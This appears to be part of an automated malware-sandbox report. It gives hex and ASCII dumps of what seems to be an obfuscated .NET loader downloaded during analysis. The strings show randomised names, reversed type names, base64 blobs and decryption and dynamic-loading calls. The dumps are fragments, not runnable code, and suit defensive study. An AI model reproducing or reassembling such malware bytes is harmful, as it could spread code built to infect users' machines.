\|1!\|1$\|1)\|H1,\|}10\|)B\|)D1E)EEX)Ek-
2022-01-14 03:59:13 UTC	70	IN	Data Raw: 15 01 00 c1 57 e3 15 11 00 cc 57 51 12 06 06 69 3c 75 05 36 00 f6 3f 70 0e 16 00 ec 3f 66 0e 11 00 5c 58 ec 01 33 01 98 58 04 16 33 01 d9 58 09 16 33 01 1a 59 0e 16 33 01 5b 59 e9 01 33 01 9c 59 13 16 33 01 dd 59 18 16 33 01 1e 5a 09 16 33 01 5f 5a 1d 16 33 01 a0 5a 22 16 13 00 e1 5a 75 05 13 00 04 5b 75 05 13 00 27 5b 75 05 13 00 4a 5b 75 05 13 00 6d 5b 75 05 13 00 90 5b 75 05 13 00 b3 5b 75 05 13 00 d6 5b 75 05 13 00 f9 5b 75 05 13 00 1c 5c 75 05 13 00 3f 5c 75 05 13 00 62 5c 75 05 13 00 85 5c 75 05 13 00 a8 5c 75 05 13 00 cb 5c 75 05 13 00 ee 5c 75 05 13 00 11 5d 75 05 13 00 34 5d 75 05 13 00 57 5d 75 05 13 00 7a 5d 75 05 13 00 9d 5d 75 05 13 00 c0 5d 75 05 13 00 e3 5d 75 05 13 00 06 5e 75 05 13 00 29 5e 75 05 13 00 4c 5e 75 05 13 00 6f 5e 75 05 13 00 Data Ascii: WWQi<u6?p?f\X3X3X3Y3[Y3Y3Y3Z3_Z3Z"Zu[u'[uJ[um[u[u[u[u[u\u?\ub\u\u\u\u\u]u4]uW]uz]u]u]u]u^u)^uL^uo^u
2022-01-14 03:59:13 UTC	74	IN	Data Raw: 00 00 08 00 93 00 2a 31 51 0a 1b 01 b8 a9 00 00 08 00 93 00 49 31 63 08 1b 01 c8 a9 00 00 08 00 93 00 5d 31 69 08 1b 01 d8 a9 00 00 08 00 93 00 71 31 82 08 1b 01 ec a9 00 00 08 00 93 00 85 31 89 08 1b 01 00 aa 00 00 08 00 93 00 99 31 57 0a 1b 01 14 aa 00 00 08 00 93 00 b8 31 74 08 1b 01 20 aa 00 00 08 00 93 00 cc 31 5e 0a 1b 01 38 aa 00 00 08 00 93 00 e0 31 37 01 1b 01 40 aa 00 00 08 00 93 00 f4 31 66 0a 1b 01 48 aa 00 00 08 00 93 00 1a 32 75 09 1b 01 54 aa 00 00 08 00 93 00 3d 32 76 0a 1b 01 60 aa 00 00 08 00 93 00 61 32 7b 0a 1b 01 74 aa 00 00 08 00 93 00 75 32 d6 09 1d 01 84 aa 00 00 08 00 93 00 97 32 37 01 1d 01 8c aa 00 00 08 00 93 00 ab 32 5f 08 1d 01 94 aa 00 00 08 00 93 00 bf 32 82 0a 1d 01 a4 aa 00 00 08 00 93 00 d3 32 92 0a 1d 01 b4 aa 00 00 08 Data Ascii: *1QI1c]1iq111W1t 1^817@1fH2uT=2v`a2{tu2272_22
2022-01-14 03:59:13 UTC	78	IN	Data Raw: 00 08 00 93 00 4e 45 c8 0a eb 01 00 f0 00 00 08 00 93 00 62 45 a8 0a eb 01 08 f0 00 00 08 00 93 00 76 45 a8 0a eb 01 10 f0 00 00 00 00 91 18 0f 17 37 01 eb 01 18 f0 00 00 08 00 c3 02 f3 40 fe 0e eb 01 20 f0 00 00 08 00 c3 02 fe 40 fe 0e ec 01 28 f0 00 00 08 00 86 18 54 00 09 07 ed 01 30 f0 00 00 08 00 86 18 54 00 ac 0f ee 01 40 f0 00 00 08 00 c6 00 09 41 11 0f ef 01 48 f0 00 00 08 00 86 18 54 00 b3 0f ef 01 50 f0 00 00 08 00 86 18 54 00 bb 0f f1 01 58 f0 00 00 08 00 86 18 54 00 c0 0f f2 01 60 f0 00 00 08 00 c6 00 14 41 7e 01 f4 01 68 f0 00 00 08 00 c6 00 1f 41 7e 01 f4 01 70 f0 00 00 08 00 c6 00 2a 41 32 0f f4 01 80 f0 00 00 08 00 c3 02 35 41 41 0f f5 01 90 f0 00 00 08 00 83 00 0c 46 41 0f f6 01 a0 f0 00 00 08 00 c6 00 4b 41 56 0f f7 01 a8 f0 00 00 08 00 Data Ascii: NEbEvE7@ @(T0T@AHTPTXT`A~hA~p*A25AAFAKAV
2022-01-14 03:59:13 UTC	82	IN	Data Raw: 08 00 c3 02 ee 48 7e 01 65 02 14 fa 00 00 08 00 84 18 54 00 d7 00 65 02 1c fa 00 00 08 00 93 00 f9 48 45 01 65 02 24 fa 00 00 08 00 93 00 0d 49 0a 10 65 02 2c fa 00 00 00 00 91 18 0f 17 37 01 65 02 34 fa 00 00 08 00 c3 02 f3 40 fe 0e 65 02 3c fa 00 00 08 00 c3 02 fe 40 fe 0e 66 02 44 fa 00 00 08 00 86 18 54 00 18 10 67 02 4c fa 00 00 08 00 86 18 54 00 1d 10 68 02 5c fa 00 00 08 00 c6 00 09 41 11 0f 69 02 64 fa 00 00 08 00 86 18 54 00 24 10 69 02 6c fa 00 00 08 00 86 18 54 00 2c 10 6b 02 74 fa 00 00 08 00 86 18 54 00 31 10 6c 02 7c fa 00 00 08 00 c6 00 14 41 7e 01 6e 02 84 fa 00 00 08 00 c6 00 1f 41 7e 01 6e 02 8c fa 00 00 08 00 c6 00 f1 2e 08 02 6e 02 94 fa 00 00 08 00 c6 00 2a 41 32 0f 6e 02 a4 fa 00 00 08 00 c3 02 35 41 41 0f 6f 02 b4 fa 00 00 08 00 c6 Data Ascii: H~eTeHEe$Ie,7e4@e<@fDTgLTh\AidT$ilT,ktT1l\|A~nA~n.n*A2n5AAo
2022-01-14 03:59:13 UTC	86	IN	Data Raw: 00 93 00 cd 55 c3 0a 13 03 2c 07 01 00 08 00 91 18 0f 17 37 01 13 03 4c 07 01 00 08 00 86 18 54 00 d7 00 13 03 54 07 01 00 08 00 83 00 ff 55 79 0e 13 03 5c 07 01 00 08 00 93 00 0e 56 45 01 15 03 64 07 01 00 08 00 93 00 22 56 6f 15 15 03 6c 07 01 00 08 00 93 00 36 56 37 01 15 03 74 07 01 00 08 00 86 18 54 00 d7 00 15 03 7c 07 01 00 08 00 83 00 69 56 7e 01 15 03 84 07 01 00 08 00 83 00 74 56 7e 01 15 03 8c 07 01 00 08 00 83 00 7f 56 7e 01 15 03 94 07 01 00 08 00 83 00 8a 56 7e 01 15 03 9c 07 01 00 08 00 83 00 95 56 7e 01 15 03 a4 07 01 00 08 00 83 00 a0 56 7e 01 15 03 ac 07 01 00 08 00 c3 03 c9 4a 7e 01 15 03 b4 07 01 00 08 00 c3 03 3e 47 7e 01 15 03 00 00 00 00 00 00 c3 07 fe 40 fe 0e 15 03 bc 07 01 00 08 00 c3 03 ee 48 7e 01 16 03 c4 07 01 00 08 00 83 18 Data Ascii: U,7LTTUy\VEd"Vol6V7tT\|iV~tV~V~V~V~V~J~>G~@H~
2022-01-14 03:59:13 UTC	90	IN	Data Raw: 06 18 54 00 65 01 31 03 ac 11 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 22 1b 31 03 c0 11 01 00 08 00 16 00 f5 68 2a 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 d0 11 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 3a 1b 31 03 e4 11 01 00 08 00 16 00 f5 68 42 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 f4 11 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 52 1b 31 03 08 12 01 00 08 00 16 00 f5 68 5a 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 18 12 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 18 6a 1b 31 03 2c 12 01 00 08 00 16 00 f5 68 72 1b 31 03 00 00 00 00 03 00 06 18 54 00 65 01 31 03 3c 12 01 00 08 00 10 18 0f 17 37 01 31 03 00 00 00 00 03 00 46 00 24 Data Ascii: Te171F$"1h*1Te171F$:1hB1Te171F$R1hZ1Te171F$j1,hr1Te1<71F$
2022-01-14 03:59:13 UTC	95	IN	Data Raw: 00 03 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 20 04 00 dd 29 00 00 05 00 dd 29 00 00 06 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 04 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 03 00 03 00 dd 29 00 00 04 00 dd 29 02 00 05 00 Data Ascii: )))))))))))))))))))))) ))))))))))))))))))))
2022-01-14 03:59:13 UTC	98	IN	Data Raw: dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 10 10 03 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 01 00 dd 29 00 00 02 00 dd 29 00 00 03 00 dd 29 00 00 02 00 dd 29 00 00 01 00 dd 29 00 00 01 00 0a 56 00 00 02 00 0c 56 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 00 01 00 dd 29 00 Data Ascii: ))))))))))))))))))))))))))))))))))VV)))))))
2022-01-14 03:59:13 UTC	102	IN	Data Raw: 00 10 00 0e 00 11 00 0e 00 12 00 0e 00 13 00 0e 00 14 00 0e 00 15 00 0e 00 16 00 0e 00 17 00 0e 00 18 00 0e 00 19 00 0e 00 1a 00 0e 00 25 00 24 00 28 00 27 00 2a 00 29 00 2b 00 29 00 2c 00 2b 00 2d 00 29 00 2e 00 29 00 2f 00 29 00 30 00 29 00 31 00 29 00 32 00 29 00 33 00 29 00 34 00 29 00 35 00 29 00 36 00 29 00 37 00 29 00 38 00 29 00 3b 00 3a 00 3c 00 3a 00 3e 00 3d 00 3f 00 3d 00 40 00 3d 00 41 00 3d 00 42 00 3d 00 43 00 3d 00 44 00 3d 00 45 00 3d 00 46 00 3d 00 47 00 3d 00 48 00 3d 00 49 00 3d 00 4a 00 3d 00 4b 00 3d 00 4c 00 3d 00 4d 00 3d 00 4e 00 3d 00 4f 00 3d 00 50 00 3d 00 51 00 3d 00 52 00 3d 00 53 00 3d 00 54 00 3d 00 55 00 3d 00 56 00 3d 00 57 00 3d 00 58 00 3d 00 59 00 3d 00 5a 00 3d 00 5b 00 3d 00 5c 00 5b 00 5d 00 3d 00 5e 00 3d 00 5f 00 Data Ascii: %$('*)+),+-).)/)0)1)2)3)4)5)6)7)8);:<:>=?=@=A=B=C=D=E=F=G=H=I=J=K=L=M=N=O=P=Q=R=S=T=U=V=W=X=Y=Z=[=\[]=^=_
2022-01-14 03:59:13 UTC	106	IN	Data Raw: 58 49 46 6a 6f 41 72 55 4b 73 00 59 75 62 65 6e 39 71 51 4f 79 43 49 39 4d 35 64 66 31 00 63 62 69 4b 53 31 66 4e 64 4c 59 32 33 61 32 30 64 62 00 6a 36 68 69 66 5a 64 43 4c 35 4e 6c 41 38 50 79 76 63 00 4f 74 39 42 74 50 62 4d 4a 5a 69 72 6b 30 49 79 6b 77 00 43 78 30 58 58 68 6d 45 47 38 44 38 69 56 54 43 37 75 00 6a 4f 61 69 51 42 53 4c 6b 4c 55 55 52 6f 62 6a 55 64 00 41 75 39 31 67 39 4d 43 4b 44 62 47 43 6f 78 47 34 47 00 42 4a 53 50 75 79 39 6e 67 53 53 45 44 70 59 70 33 55 00 77 39 78 75 6c 5a 33 58 39 64 77 66 59 37 34 73 44 49 00 54 43 42 46 75 55 54 70 48 66 54 44 5a 78 54 78 49 4b 00 6f 79 4a 70 59 47 32 77 63 53 51 4e 61 78 43 6c 4e 54 00 74 48 30 45 64 75 65 31 6a 38 4a 76 46 31 4f 31 4d 33 00 76 57 30 63 62 79 42 48 75 67 41 5a 46 69 65 38 Data Ascii: XIFjoArUKsYuben9qQOyCI9M5df1cbiKS1fNdLY23a20dbj6hifZdCL5NlA8PyvcOt9BtPbMJZirk0IykwCx0XXhmEG8D8iVTC7ujOaiQBSLkLUURobjUdAu91g9MCKDbGCoxG4GBJSPuy9ngSSEDpYp3Uw9xulZ3X9dwfY74sDITCBFuUTpHfTDZxTxIKoyJpYG2wcSQNaxClNTtH0Edue1j8JvF1O1M3vW0cbyBHugAZFie8
2022-01-14 03:59:13 UTC	110	IN	Data Raw: 00 46 72 65 65 4c 69 62 72 61 72 79 00 68 4d 6f 64 75 6c 65 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 70 72 6f 63 4e 61 6d 65 00 6b 65 72 6e 65 6c 33 32 00 72 6f 74 69 64 45 74 6e 65 6e 6f 70 6d 6f 43 6c 65 64 6f 4d 74 6e 65 6e 6f 70 6d 6f 43 6d 65 74 73 79 53 31 30 30 32 37 00 58 57 33 56 74 6f 67 48 71 48 65 6b 6b 64 58 35 6f 6f 33 00 61 72 67 00 74 6e 65 6d 65 6c 45 6e 6f 69 73 73 65 53 65 6c 62 61 69 6c 65 52 6e 6f 69 74 61 72 75 67 69 66 6e 6f 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 36 38 31 38 31 00 65 63 69 76 72 65 53 72 65 65 50 73 6c 65 6e 6e 61 68 43 6c 65 64 6f 4d 65 63 69 76 72 65 53 6d 65 74 73 79 53 34 33 34 35 37 00 72 6f 72 72 45 65 6c 69 70 6d 6f 43 79 72 65 75 51 72 65 68 63 74 61 70 73 69 44 6c 65 64 6f 4d 65 63 Data Ascii: FreeLibraryhModuleGetProcAddressprocNamekernel32rotidEtnenopmoCledoMtnenopmoCmetsyS10027XW3VtogHqHekkdX5oo3argtnemelEnoisseSelbaileRnoitarugifnoCledoMecivreSmetsyS68181ecivreSreePslennahCledoMecivreSmetsyS43457rorrEelipmoCyreuQrehctapsiDledoMec
2022-01-14 03:59:13 UTC	114	IN	Data Raw: 46 00 46 69 6c 65 53 74 72 65 61 6d 00 46 69 6c 65 4d 6f 64 65 00 46 69 6c 65 41 63 63 65 73 73 00 46 69 6c 65 53 68 61 72 65 00 6c 6b 70 36 39 71 5a 47 63 00 4e 69 58 54 41 32 48 58 37 00 54 6f 41 72 72 61 79 00 73 31 46 65 43 49 54 44 67 00 73 65 74 5f 4b 65 79 00 73 65 74 5f 49 56 00 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 57 72 69 74 65 00 7a 6c 58 58 6f 63 43 6c 69 00 67 65 74 5f 4f 66 66 73 65 74 54 6f 53 74 72 69 6e 67 44 61 74 61 00 77 4e 31 63 64 52 79 54 53 00 53 74 61 72 74 73 57 69 74 68 00 67 65 74 5f 43 68 61 72 73 00 4d 71 55 4b 55 67 6a 62 45 00 72 74 36 73 58 58 68 65 31 00 61 44 4b 71 78 59 71 5a 6f 00 4b 34 79 78 4c 4a 72 74 4b 00 75 76 4b 79 64 42 6a 76 34 00 75 33 54 47 46 51 42 65 78 00 6d 66 76 42 64 70 68 58 79 00 76 53 33 Data Ascii: FFileStreamFileModeFileAccessFileSharelkp69qZGcNiXTA2HX7ToArrays1FeCITDgset_Keyset_IVCreateDecryptorWritezlXXocCliget_OffsetToStringDatawN1cdRyTSStartsWithget_CharsMqUKUgjbErt6sXXhe1aDKqxYqZoK4yxLJrtKuvKydBjv4u3TGFQBexmfvBdphXyvS3
2022-01-14 03:59:13 UTC	118	IN	Data Raw: 45 56 51 43 58 00 4e 30 35 68 76 51 48 74 4f 58 00 6c 50 6e 68 52 55 6b 74 32 54 00 63 44 30 68 4e 35 32 6e 4c 48 00 73 4a 33 68 72 50 57 78 58 37 00 56 61 76 68 62 34 30 41 73 37 00 52 65 6b 68 50 33 41 70 6d 30 00 61 59 73 68 36 35 62 44 69 63 00 52 37 6c 68 54 5a 31 42 70 5a 00 48 49 50 39 54 34 4f 4a 67 79 69 44 72 4e 61 75 66 47 59 00 47 52 49 38 42 4b 6a 4c 70 56 00 66 6e 38 38 43 6f 6f 75 67 67 00 75 67 53 38 78 79 43 67 67 66 00 69 48 49 38 44 37 49 47 79 50 00 50 66 4a 38 31 76 44 38 44 79 00 65 4e 64 38 67 6b 55 67 4b 47 00 43 41 6d 38 61 48 4c 32 56 46 00 66 77 72 68 44 73 74 51 6a 6e 00 4c 42 36 38 6c 66 51 76 75 74 00 41 6c 79 38 38 33 50 6e 32 4e 00 65 43 52 38 69 70 48 4a 39 35 00 4d 58 68 68 34 38 45 54 6c 64 00 6f 6f 75 38 37 6a 68 55 55 Data Ascii: EVQCXN05hvQHtOXlPnhRUkt2TcD0hN52nLHsJ3hrPWxX7Vavhb40As7RekhP3Apm0aYsh65bDicR7lhTZ1BpZHIP9T4OJgyiDrNaufGYGRI8BKjLpVfn88CoouggugS8xyCggfiHI8D7IGyPPfJ81vD8DyeNd8gkUgKGCAm8aHL2VFfwrhDstQjnLB68lfQvutAly883Pn2NeCR8ipHJ95MXhh48ETldoou87jhUU
2022-01-14 03:59:13 UTC	122	IN	Data Raw: 6c 00 57 53 4b 6c 7a 6f 44 6f 30 53 00 6e 77 57 55 30 76 46 75 36 35 00 61 6a 69 55 31 43 73 74 50 54 00 6f 35 44 55 48 46 4d 70 34 44 00 68 56 34 55 66 75 49 77 4d 50 00 71 6d 74 55 49 41 39 66 4a 47 00 44 47 69 55 6d 32 70 78 70 48 00 4d 30 53 6d 36 47 5a 30 59 4d 49 69 55 6e 39 62 6a 63 54 00 74 43 44 69 78 78 63 48 6e 50 00 72 48 4f 69 79 68 73 79 72 34 00 6c 36 44 69 47 75 37 44 41 36 00 54 61 72 67 65 74 49 6e 76 6f 63 61 74 69 6f 6e 45 78 63 65 70 74 69 6f 6e 00 4b 69 34 69 42 36 36 4c 48 56 00 70 6f 77 69 4c 34 38 54 73 73 00 58 74 61 69 46 6c 38 61 64 6f 00 4f 4b 47 69 57 6b 70 66 76 42 00 4c 61 6f 69 6e 57 4a 51 53 45 00 43 6f 6e 73 74 72 75 63 74 6f 72 49 6e 66 6f 00 4f 76 65 72 66 6c 6f 77 45 78 63 65 70 74 69 6f 6e 00 73 65 74 5f 49 74 65 6d Data Ascii: lWSKlzoDo0SnwWU0vFu65ajiU1CstPTo5DUHFMp4DhV4UfuIwMPqmtUIA9fJGDGiUm2pxpHM0Sm6GZ0YMIiUn9bjcTtCDixxcHnPrHOiyhsyr4l6DiGu7DA6TargetInvocationExceptionKi4iB66LHVpowiL48TssXtaiFl8adoOKGiWkpfvBLaoinWJQSEConstructorInfoOverflowExceptionset_Item
2022-01-14 03:59:13 UTC	127	IN	Data Raw: 38 64 61 63 33 36 36 64 00 6d 5f 65 37 32 35 31 62 34 65 34 64 38 34 34 64 32 64 39 63 36 62 36 66 66 63 38 38 66 31 37 36 63 30 00 6d 5f 39 34 30 30 36 62 61 39 39 37 61 31 34 38 63 65 38 66 32 64 63 36 34 39 30 36 33 39 34 62 35 30 00 6d 5f 66 62 38 61 64 37 36 66 61 39 61 37 34 37 31 65 38 62 31 65 30 32 61 34 30 37 37 66 66 30 62 63 00 6d 5f 33 61 61 33 63 61 64 39 30 64 63 65 34 31 31 31 38 31 64 33 37 61 34 64 61 39 61 61 64 61 65 33 00 6d 5f 64 66 64 64 61 34 31 35 61 36 62 36 34 30 37 34 39 65 39 35 33 64 31 63 35 31 64 39 38 33 33 38 00 6d 5f 38 33 62 37 62 37 66 63 35 65 38 65 34 34 63 62 61 38 61 37 63 63 31 30 36 37 37 63 31 35 61 35 00 6d 5f 30 36 33 30 33 61 34 31 36 37 64 36 34 63 36 30 39 37 32 33 62 65 32 64 63 33 35 61 64 65 30 30 00 6d Data Ascii: 8dac366dm_e7251b4e4d844d2d9c6b6ffc88f176c0m_94006ba997a148ce8f2dc64906394b50m_fb8ad76fa9a7471e8b1e02a4077ff0bcm_3aa3cad90dce411181d37a4da9aadae3m_dfdda415a6b640749e953d1c51d98338m_83b7b7fc5e8e44cba8a7cc10677c15a5m_06303a4167d64c609723be2dc35ade00m
2022-01-14 03:59:13 UTC	130	IN	Data Raw: 38 00 73 65 33 68 48 59 61 51 54 39 00 73 45 4c 68 52 73 41 4e 75 30 00 59 45 6e 68 46 67 6a 4b 64 78 00 44 4d 41 68 74 56 64 4b 66 59 00 4f 69 59 68 35 75 46 79 37 67 00 45 56 77 67 31 4c 53 58 35 64 00 4d 37 55 68 34 4e 38 65 6b 72 00 6e 55 65 68 65 50 62 6e 6d 73 00 46 36 6c 68 42 58 42 77 58 38 00 6b 6e 4a 68 7a 55 48 4f 46 73 00 44 56 58 67 68 4e 4b 35 54 50 00 41 75 31 67 4f 79 47 65 76 35 00 63 76 6c 67 5a 6b 43 42 39 6c 00 78 77 31 67 49 77 43 41 78 74 00 48 36 71 67 76 6b 46 32 41 50 00 54 36 39 67 6c 72 79 76 73 47 00 4e 48 4c 67 4a 37 69 37 6a 77 00 4b 71 6d 67 6b 38 4f 4e 39 6d 00 42 69 6e 64 65 72 00 54 6f 43 68 61 72 41 72 72 61 79 00 46 72 6f 6d 42 61 73 65 36 34 43 68 61 72 41 72 72 61 79 00 54 6f 43 68 61 72 00 41 70 70 65 6e 64 00 49 6e Data Ascii: 8se3hHYaQT9sELhRsANu0YEnhFgjKdxDMAhtVdKfYOiYh5uFy7gEVwg1LSX5dM7Uh4N8ekrnUehePbnmsF6lhBXBwX8knJhzUHOFsDVXghNK5TPAu1gOyGev5cvlgZkCB9lxw1gIwCAxtH6qgvkF2APT69glryvsGNHLgJ7i7jwKqmgk8ON9mBinderToCharArrayFromBase64CharArrayToCharAppendIn
2022-01-14 03:59:13 UTC	134	IN	Data Raw: 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 0f 52 00 65 00 70 00 6c 00 61 00 63 00 65 00 00 17 54 00 6f 00 43 00 68 00 61 00 72 00 41 00 72 00 72 00 61 00 79 00 00 0d 4c 00 65 00 6e 00 67 00 74 00 68 00 00 07 47 00 65 00 74 00 00 59 4c 00 35 00 68 00 64 00 58 00 6c 00 53 00 61 00 44 00 57 00 31 00 59 00 73 00 4b 00 4f 00 44 00 79 00 2f 00 58 00 42 00 79 00 4d 00 59 00 53 00 6a 00 57 00 47 00 68 00 52 00 65 00 45 00 2b 00 45 00 41 00 6c 00 32 00 48 00 73 00 74 00 59 00 51 00 53 00 4d 00 3d 00 00 31 2f 00 4d 00 74 00 59 00 4c 00 4d 00 67 00 30 00 37 00 63 00 4f 00 33 00 44 00 31 00 61 00 2f 00 58 00 76 00 34 00 2b 00 43 00 67 00 3d 00 3d 00 00 1b 74 00 69 00 42 00 72 00 6d 00 6b 00 68 00 57 00 54 00 79 00 4e 00 59 00 64 00 00 80 9d 53 00 79 00 73 00 74 00 Data Ascii: arArrayReplaceToCharArrayLengthGetYL5hdXlSaDW1YsKODy/XByMYSjWGhReE+EAl2HstYQSM=1/MtYLMg07cO3D1a/Xv4+Cg==tiBrmkhWTyNYdSyst
2022-01-14 03:59:13 UTC	138	IN	Data Raw: 18 18 09 09 09 0a 00 05 08 18 18 1d 05 09 10 18 06 00 03 0e 0e 0e 0e 08 00 04 08 18 08 08 10 08 06 00 03 18 09 08 09 04 00 01 08 18 03 00 00 18 05 00 02 02 18 18 0a 07 05 1d 05 12 81 6d 08 08 08 0d 20 04 01 0e 11 81 71 11 81 75 11 81 79 05 00 00 12 80 ad 07 00 01 1d 05 12 80 ad 08 07 02 12 80 ad 12 80 f9 05 20 00 12 80 a1 07 20 03 01 1d 05 08 08 04 00 01 08 0e 0b 07 06 0f 03 45 0e 08 08 08 0f 03 05 00 02 02 0e 0e 06 07 04 02 02 08 08 04 20 01 02 0e 04 20 01 03 08 07 07 04 1d 05 08 08 08 06 07 03 1d 05 08 08 05 00 02 18 18 08 06 00 03 01 18 08 0a 07 00 04 01 1c 08 18 08 03 00 00 1c 05 00 00 12 81 4d 05 20 00 12 81 49 04 00 01 18 1c 06 00 03 18 18 1c 09 07 00 02 12 80 91 1c 02 07 00 02 12 80 91 0e 02 09 00 02 02 12 80 91 12 80 91 05 20 00 12 81 7d 05 20 00 Data Ascii: m quy E M I }
2022-01-14 03:59:13 UTC	142	IN	Data Raw: 0a 00 02 1d 12 81 1d 1c 12 82 68 04 06 12 82 6c 06 20 01 12 80 91 1c 09 00 02 12 80 91 1c 12 82 6c 04 06 12 82 70 07 00 02 02 1c 12 82 70 04 06 12 82 74 09 20 02 02 12 80 91 12 80 91 0c 00 03 02 12 80 91 12 80 91 12 82 74 04 06 12 82 78 04 20 01 05 1c 07 00 02 05 1c 12 82 78 04 06 12 82 7c 04 20 01 0a 1c 07 00 02 0a 1c 12 82 7c 04 06 12 82 80 04 20 01 0c 1c 07 00 02 0c 1c 12 82 80 04 06 12 82 84 04 20 01 0d 1c 07 00 02 0d 1c 12 82 84 04 06 12 82 88 07 20 02 12 80 ad 1c 0e 0a 00 03 12 80 ad 1c 0e 12 82 88 04 06 12 82 8c 06 20 02 1d 05 1c 08 09 00 03 1d 05 1c 08 12 82 8c 04 06 12 82 90 08 20 01 12 80 91 12 80 91 0b 00 02 12 80 91 12 80 91 12 82 90 04 06 12 82 94 07 20 02 1c 12 80 91 08 0a 00 03 1c 12 80 91 08 12 82 94 04 06 12 82 98 07 20 02 1c 12 80 91 09 Data Ascii: hl lppt tx x\| \|
2022-01-14 03:59:13 UTC	146	IN	Data Raw: 9e 83 48 39 ad 17 52 14 f5 84 c3 66 6b 17 fa 7c 1e 81 92 ff 9e cb 0e c2 5b 6f a7 af d4 aa d4 aa 33 ec 21 e9 08 2e e4 dc 76 b9 53 51 55 e4 d3 63 a4 73 ce 4c 4b cf 85 09 56 54 5e d3 95 97 08 bd 41 f8 86 ea ee 9a 2e b1 e6 1d ac 0b 56 a8 03 0e 74 16 b5 c4 e8 7b 31 c8 34 04 74 45 e5 60 a9 06 9a 8b ad f9 8f fc c7 ab 58 3f e3 55 e2 dd 1f c1 df a7 48 81 1a fc ab 92 ca 62 68 ff 56 ca 2c 23 36 41 82 85 ab 94 86 69 50 6d e2 b4 10 20 c3 96 c9 08 0d df 4d 5b 03 69 45 91 6f 05 8c dc 66 8c 2c a9 f5 71 fa 9e c6 0b 97 38 6a e6 ed ee 8e 58 70 a2 5d 02 97 36 e3 da fb 76 74 ff ad 2e 3d 4d 97 44 a2 48 68 ad 6e f4 fb e1 26 28 3a 5e 8d 41 18 86 3b e7 41 52 5b ba d8 44 53 03 b7 88 9d 4f de 82 f2 94 60 b8 9b 6f 6f ba 87 d6 6a ff f3 87 be a1 6e 6b 01 06 d9 02 09 21 14 77 2e c1 2c Data Ascii: H9Rfk\|[o3!.vSQUcsLKVT^A.Vt{14tE`X?UHbhV,#6AiPm M[iEof,q8jXp]6vt.=MDHhn&(:^A;AR[DSO`oojnk!w.,
2022-01-14 03:59:13 UTC	150	IN	Data Raw: 6e cc 01 80 95 af a8 02 81 a1 43 c4 2f 35 41 2d da 05 dc 20 70 9c ea 68 d8 89 eb c6 25 21 20 e0 52 e9 ff ac 3b e4 f0 29 9d bc 67 9e 0a 24 1e b3 01 11 1c d3 17 f8 78 95 54 e0 01 d1 d4 44 0b ca 43 ba 7e c2 3e eb 99 39 9c 1e d3 67 55 d1 3b fb 83 24 a8 56 93 fd 57 f4 49 85 a4 a1 7e 4d 10 64 3b 9a 10 87 ae 97 4b 0e cd 98 14 0a 8a 68 f2 6e 21 1b 68 69 6d b6 93 d1 b7 8a c0 8d 25 d8 0f 9a 33 08 e8 8e 27 59 0d 0e eb d6 98 c9 ea 4f b3 25 db c1 e2 07 85 02 2f f2 31 65 12 56 b3 98 13 5e 57 9c bb 3c b8 32 50 e1 67 9a 5c b9 6d 78 77 75 b4 db 04 5c 54 88 18 c4 fc 53 0f 6e f6 c1 63 7a bd 29 70 50 c9 fb 26 fb 93 ce ec e9 59 32 66 8d 75 2d 6d 09 a0 4d 03 d0 7e 75 26 14 d5 a1 64 b0 99 da 0e 93 17 77 29 cf c2 34 f9 fe ec 5c b6 df f7 a7 d9 0e 47 7f 29 66 61 b6 98 ef 03 a8 1f Data Ascii: nC/5A- ph%! R;)g$xTDC~>9gU;$VWI~Md;Khn!him%3'YO%/1eV^W<2Pg\mxwu\TSncz)pP&Y2fu-mM~u&dw)4\G)fa
